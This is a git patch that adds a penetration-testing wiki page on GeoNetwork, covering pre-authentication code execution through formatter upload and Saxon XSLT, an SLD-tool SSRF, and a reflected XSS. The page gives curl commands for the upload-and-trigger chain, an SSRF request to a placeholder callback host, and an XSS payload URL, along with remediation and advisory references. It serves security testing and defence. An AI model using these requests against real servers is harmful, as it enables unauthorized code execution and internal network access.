From 9933ed7a6bb0558ab1665df1f7db0e5e94e3fcfd Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Fri, 4 Sep 2026 15:57:50 +0000 Subject: [PATCH] Add content from: GeoNetwork: Pre-Authentication Remote Code Execution --- src/SUMMARY.md | 1 + .../pentesting-web/README.md | 1 + .../pentesting-web/geonetwork.md | 100 ++++++++++++++++++ src/pentesting-web/file-upload/README.md | 6 ++ .../README.md | 6 ++ ...ble-stylesheet-language-transformations.md | 6 ++ 6 files changed, 120 insertions(+) create mode 100644 src/network-services-pentesting/pentesting-web/geonetwork.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 6beed39d506..a4751fa8afd 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -517,6 +517,7 @@ - [Flask](network-services-pentesting/pentesting-web/flask.md) - [Fortinet Fortiweb](network-services-pentesting/pentesting-web/fortinet-fortiweb.md) - [Git](network-services-pentesting/pentesting-web/git.md) + - [GeoNetwork](network-services-pentesting/pentesting-web/geonetwork.md) - [Golang](network-services-pentesting/pentesting-web/golang.md) - [Grafana](network-services-pentesting/pentesting-web/grafana.md) - [GraphQL](network-services-pentesting/pentesting-web/graphql.md) diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index c9e82824737..6c865e91a62 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -81,6 +81,7 @@ Some **tricks** for **finding vulnerabilities** in different well known **techno - [**Flask**](flask.md) - [**Fortinet FortiWeb**](fortinet-fortiweb.md) - [**Git**](git.md) +- [**GeoNetwork**](geonetwork.md) - [**Golang**](golang.md) - [**GraphQL**](graphql.md) - [**H2 - Java SQL database**](h2-java-sql-database.md) diff --git a/src/network-services-pentesting/pentesting-web/geonetwork.md b/src/network-services-pentesting/pentesting-web/geonetwork.md new file mode 100644 index 00000000000..15204bfa025 --- /dev/null +++ b/src/network-services-pentesting/pentesting-web/geonetwork.md @@ -0,0 +1,100 @@ +# GeoNetwork + +{{#include ../../banners/hacktricks-training.md}} + +## Overview + +GeoNetwork is a Java/Spring geospatial metadata catalogue. Metadata objects are **records** identified by UUID, and public records are intentionally readable without authentication. Most application routes are portal-scoped below `//api` (commonly `/srv/api`), while XSLT **formatters** transform records into HTML, text, or XML.[[1]](#references) + +Useful routes to fingerprint and map are:[[1]](#references) + +```text +GET /srv/api/records/{uuid} +POST /srv/api/formatters +GET /srv/api/records/{uuid}/formatters/{formatter} +POST /srv/api/tools/ogc/sld +GET /srv/eng/catalog.search +``` + +The application may be deployed below a context path such as `/geonetwork`; preserve that prefix when testing.[[3]](#references) + +## Formatter upload + unsafe XSLT to pre-auth RCE + +### Missing method-level authorization + +GeoNetwork protects administrative Spring methods individually with `@PreAuthorize("hasAuthority('UserAdmin')")`. In the vulnerable formatter controller, list, download, update, and delete methods had that annotation, but `addFormatter()` did not. The unprotected `POST /{portal}/api/formatters` accepted multipart parameter `file`, derived the formatter name from the uploaded filename, and installed either a raw `.xsl` as `view.xsl` or a formatter ZIP containing `view.xsl`.[[1]](#references)[[2]](#references)[[3]](#references) + +This is a useful white-box audit pattern for Spring applications: compare authorization annotations on **every** mapped method rather than trusting the controller's administrative purpose. Prioritize create, import, upload, and file-writing methods, then trace whether the written object is later parsed, compiled, included, or executed.[[1]](#references)[[2]](#references) + +### Second-stage interpreter trigger + +The vulnerable transformation path created a Saxon transformer without enabling JAXP secure processing and without setting Saxon's `ALLOW_EXTERNAL_FUNCTIONS` to `false`. Saxon's option defaults to enabled in the documented configuration, so a loaded stylesheet can reach Java extension functions such as `java.lang.Runtime.exec()` or `java.lang.ProcessBuilder` and run a command as the GeoNetwork service user.[[1]](#references)[[4]](#references)[[5]](#references) + +During an authorized test, create a formatter XSLT using the [Saxon Java extension primitive](../../pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md#saxon-reflexive-java-extension-functions). Use a harmless marker, time delay, or controlled callback instead of a destructive command. A raw upload named `htproof.xsl` is installed under formatter name `htproof`; the multipart upload and independent execution trigger are:[[1]](#references)[[2]](#references) + +```bash +base='https://target/geonetwork' + +curl -ik -F 'file=@htproof.xsl;filename=htproof.xsl' \ + "$base/srv/api/formatters" + +curl -ik \ + "$base/srv/api/records/PUBLIC_RECORD_UUID/formatters/htproof" +``` + +Obtain `PUBLIC_RECORD_UUID` from an anonymously visible catalogue result and confirm it with `GET /srv/api/records/{uuid}`. The record only supplies valid XML input; the attacker-selected formatter supplies the executable transformation. Consequently, the file does not need to land in a webroot: **unauthorized formatter creation plus a public formatter-render route is the complete execution chain**.[[1]](#references) + +## SLD tool SSRF + +The vulnerable Styled Layer Descriptor endpoint accepted form field `url` and passed it through `new URI(serverURL)` to `SLDUtil.parseSLD()`. That helper appended `service=WMS`, `request=GetStyles`, `version=1.1.1`, and `layers=` before issuing an HTTP GET, without an allowlist, scheme validation, or private-address restriction.[[1]](#references)[[6]](#references)[[7]](#references)[[8]](#references) + +A controlled callback can verify the outbound request. Even if later filter or XML processing fails, the network request occurs first:[[7]](#references)[[8]](#references) + +```bash +curl -ik -X POST 'https://target/geonetwork/srv/api/tools/ogc/sld' \ + -H 'Content-Type: application/x-www-form-urlencoded' \ + --data-urlencode 'url=https://COLLABORATOR.example/probe' \ + --data-urlencode 'layers=proof' \ + --data-urlencode 'filters={"filters":[]}' +``` + +Test loopback, link-local, and internal destinations only when they are in scope. This SSRF is partially non-blind: GeoNetwork reads the response body, parses it as XML, stores the transformed SLD, and returns a URL from which compatible XML output can be downloaded. Non-XML responses still prove reachability but normally fail before content is returned.[[1]](#references)[[6]](#references)[[7]](#references)[[8]](#references) + +## JavaScript-expression reflected XSS + +The public `catalog.search` route placed `uiconfig` directly into the first JavaScript argument of `gnGlobalSettings.init(...)`. When input must remain a syntactically valid argument, the comma operator is useful: `(alert(1),{})` executes the first expression and evaluates to the empty object expected by the surrounding call.[[1]](#references)[[10]](#references) + +```http +GET /srv/eng/catalog.search?uiconfig=%28alert%281%29%2C%7B%7D%29 HTTP/1.1 +Host: target +``` + +This pattern generalizes to JavaScript-context injection where closing the script is unnecessary or filtered: use `(SIDE_EFFECT,VALUE_OF_EXPECTED_TYPE)`. In affected GeoNetwork deployments, same-origin script could also read the non-`HttpOnly` `XSRF-TOKEN` cookie and use it in authenticated requests, so impact is not limited to an alert box.[[1]](#references) + +## Affected versions and remediation + +The coordinated advisories identify these fixed branches:[[3]](#references)[[4]](#references)[[6]](#references)[[10]](#references) + +| Primitive | Affected versions documented by the advisory | Fixed | +| --- | --- | --- | +| Unauthorized formatter upload | `<=4.2.16` and `<=4.4.11` packages (the research traces the regression to the 4.0.6 refactor) | 4.2.17 / 4.4.12 | +| Unsafe formatter XSLT | `<=4.2.16` and `<=4.4.11` | 4.2.17 / 4.4.12 | +| SLD SSRF | 4.0.0–4.2.16 and 4.4.0–4.4.11 | 4.2.17 / 4.4.12 | +| `uiconfig` XSS | 4.4.5–4.4.11 | 4.4.12 | + +Upgrade to **4.2.17, 4.4.12, or a later supported release**. As a temporary control for the RCE chain, deny unauthenticated `POST`, `PUT`, and `PATCH` requests to the exact `/geonetwork/srv/api/formatters` route at the reverse proxy; this also disables legitimate formatter administration until patched. Application fixes must both enforce `UserAdmin` on formatter creation and sandbox XSLT with secure processing plus disabled external functions. The SLD SSRF fix removes the server-side WMS-fetch path rather than relying on URL filtering.[[3]](#references)[[4]](#references)[[6]](#references)[[9]](#references) + +## References + +- [1] [Ethiack - GeoNetwork: PreAuth Remote Code Execution](https://ethiack.com/info-hub/research/geonetwork-preauth-RCE) +- [2] [GeoNetwork vulnerable FormatterAdminApi implementation](https://github.com/geonetwork/core-geonetwork/blob/56abcb6ef42f0741cc13caf116894cbd6b2c5eb8/services/src/main/java/org/fao/geonet/api/records/formatters/FormatterAdminApi.java#L353-L433) +- [3] [GeoNetwork advisory - unauthenticated formatter upload (GHSA-mh22-prqr-vf42)](https://github.com/geonetwork/core-geonetwork/security/advisories/GHSA-mh22-prqr-vf42) +- [4] [GeoNetwork advisory - unsafe Saxon XSLT processing (GHSA-x898-729x-cc3r)](https://github.com/geonetwork/core-geonetwork/security/advisories/GHSA-x898-729x-cc3r) +- [5] [Saxon 9.5 configuration feature ALLOW_EXTERNAL_FUNCTIONS](https://www.saxonica.com/documentation9.5/configuration/config-features.html#ALLOW_%C2%ADEXTERNAL_%C2%ADFUNCTIONS) +- [6] [GeoNetwork advisory - unauthenticated SSRF in the SLD tool (GHSA-5hx7-j24v-rffj)](https://github.com/geonetwork/core-geonetwork/security/advisories/GHSA-5hx7-j24v-rffj) +- [7] [GeoNetwork vulnerable SldApi implementation](https://github.com/geonetwork/core-geonetwork/blob/d0bf056e86017f50fcadfeb5172af892a67e066c/services/src/main/java/org/fao/geonet/api/sld/SldApi.java#L136-L190) +- [8] [GeoNetwork vulnerable SLDUtil implementation](https://github.com/geonetwork/core-geonetwork/blob/d0bf056e86017f50fcadfeb5172af892a67e066c/core/src/main/java/org/geonetwork/map/wms/SLDUtil.java#L49-L75) +- [9] [GeoNetwork pull request removing vulnerable SLD retrieval](https://github.com/geonetwork/core-geonetwork/pull/9343) +- [10] [GeoNetwork advisory - reflected XSS in uiconfig (GHSA-5pq9-ppfw-p83j)](https://github.com/geonetwork/core-geonetwork/security/advisories/GHSA-5pq9-ppfw-p83j) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index 28fbaaee569..c4a90f1ad46 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -386,6 +386,12 @@ Quick audit checklist: Some legacy upload handlers that use `snprintf()` or similar to build multi-file arrays from a single-file upload can be tricked into forging the `_FILES` structure. Due to inconsistencies and truncation in `snprintf()` behavior, a carefully crafted single upload can appear as multiple indexed files on the server side, confusing logic that assumes a strict shape (e.g., treating it as a multi-file upload and taking unsafe branches). While niche today, this “index corruption” pattern occasionally resurfaces in CTFs and older codebases.[[13]](#references) +### GeoNetwork formatter upload to XSLT execution + +{{#ref}} +../../network-services-pentesting/pentesting-web/geonetwork.md +{{#endref}} + ## From File upload to other vulnerabilities - Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal** diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/README.md b/src/pentesting-web/ssrf-server-side-request-forgery/README.md index 9c5dcb689b6..409a9341269 100644 --- a/src/pentesting-web/ssrf-server-side-request-forgery/README.md +++ b/src/pentesting-web/ssrf-server-side-request-forgery/README.md @@ -6,6 +6,12 @@ A **Server-side Request Forgery (SSRF)** vulnerability occurs when an attacker manipulates a **server-side application** into making **HTTP requests** to a domain of their choice. This vulnerability exposes the server to arbitrary external requests directed by the attacker. +### GeoNetwork SLD tool SSRF + +{{#ref}} +../../network-services-pentesting/pentesting-web/geonetwork.md +{{#endref}} + ## Capture SSRF The first thing you need to do is to capture a SSRF interaction generated by you. To capture a HTTP or DNS interaction you can use tools such as: diff --git a/src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md b/src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md index 1ad9991427b..da52bb0de92 100644 --- a/src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md +++ b/src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md @@ -519,6 +519,12 @@ version="1.0"> (Example from [http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls](http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls)) +### GeoNetwork formatter upload chain + +{{#ref}} +../network-services-pentesting/pentesting-web/geonetwork.md +{{#endref}} + ## More Payloads - Check [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection) for additional processor-specific discovery and exploitation payloads.[[5]](#references)